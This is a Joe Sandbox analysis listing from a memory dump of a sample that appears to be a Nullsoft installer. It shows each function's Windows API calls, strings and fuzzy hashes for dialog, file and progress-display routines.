Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,774D3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
RichEdit, xrefs: 00403D33
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit20W, xrefs: 00403D24, 00403D2A
.DEFAULT\Control Panel\International, xrefs: 00403B44
.exe, xrefs: 00403BE6
RichEd20, xrefs: 00403D06
(7B, xrefs: 00403B04
RichEd32, xrefs: 00403D14

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,774D3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Null, xrefs: 00403029
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Error launching installer, xrefs: 00402F80
soft, xrefs: 00403020
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

